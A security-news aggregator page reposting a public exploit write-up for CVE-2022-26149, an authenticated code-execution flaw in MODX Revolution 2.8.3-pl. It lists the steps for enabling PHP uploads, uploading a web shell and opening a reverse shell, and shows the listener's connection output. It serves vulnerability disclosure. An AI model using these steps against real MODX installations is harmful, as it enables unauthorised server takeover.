Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-26149: 0days/Exploit.txt at main · sartlabs/0days

MODX Revolution through 2.8.3-pl allows remote authenticated administrators to execute arbitrary code by uploading an executable file, because the Uploadable File Types setting can be changed by an administrator.

CVE
#web#debian#php#rce#auth

# Exploit Title: Authenticated Remote Code Execution in MODX Revolution V2.8.3-pl

# Remote Code Execution in MODX Revolution V2.8.3-pl and earlier allows remote attackers to execute arbitrary code via uploading a php web shell.

# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.hackthebox.com/home/users/profile/2718

# Date: 26th Feb’2022

# CVE ID: CVE-2022-26149

# Confirmed on release 2.8.3-pl

# Vendor: https://modx.com/download

###############################################

#Step1- Login with Admin Credentials

#Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:

Add the php file extension under the “Uploadable File Types” option available in “System Settings”

#Step3- Now Goto Media=>Media Browser and upload the Shell.php

#Step4- Now visit http://IP_Address/Shell.php and get the reverse shell:

listening on [any] 4477 …

connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 58056

bash: cannot set terminal process group (1445): Inappropriate ioctl for device

bash: no job control in this shell

daemon@debian:/opt/bitnami/modx$

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907